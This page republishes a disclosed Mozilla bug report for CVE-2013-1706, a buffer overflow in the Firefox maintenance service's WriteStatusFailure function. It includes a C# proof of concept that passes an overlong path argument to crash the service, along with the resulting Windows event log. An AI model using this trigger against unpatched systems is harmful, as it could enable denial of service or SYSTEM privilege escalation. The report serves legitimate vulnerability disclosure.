Skip to content
Memory corruption Disclosed report CVE-2013-1706

Buffer overflow in WriteStatusFailure in maintenanceservice.exe

Seb Patane Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 5 days
  • Disclosed after 5 days
Text
Created attachment 769022
Proof of concept source + binary

The WriteStatusFailure function in updatehelper.cpp fails to check the length of the update directory path provided before copying it into a string with a buffer of only MAX_PATH+1 length (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/common/updatehelper.cpp#l396).

The maintenance service passes a user-provided argument directly into this function, which leads to a buffer overflow and potential arbitrary code execution with SYSTEM privileges.

C# Proof-of-concept:
using System;
using System.ServiceProcess;

namespace WriteStatusBufferOverflow
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    "software-update",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    (new String('A',999))
                                     });
            }
            catch (Exception e) { 
                Console.WriteLine(e);
            }
        }
    }
}

Replicated on Windows 7 x64 with maintenanceservice.exe version 23.0.0.4923. The result is an entry in the Windows application event log that looks similar to this:

Faulting application name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Faulting module name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Exception code: 0xc0000409
Fault offset: 0x00004628
Faulting process id: 0x3728
Faulting application start time: 0x01ce74230b086bb8
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Faulting module path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
...

Have attached a compiled proof-of-concept, let me know if you need any further details.

The original report as published on Mozilla's Bugzilla, by Seb Patane. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in Application Update. Mozilla made it public on 3 July 2013 as CVE-2013-1706.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Seb Patane

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.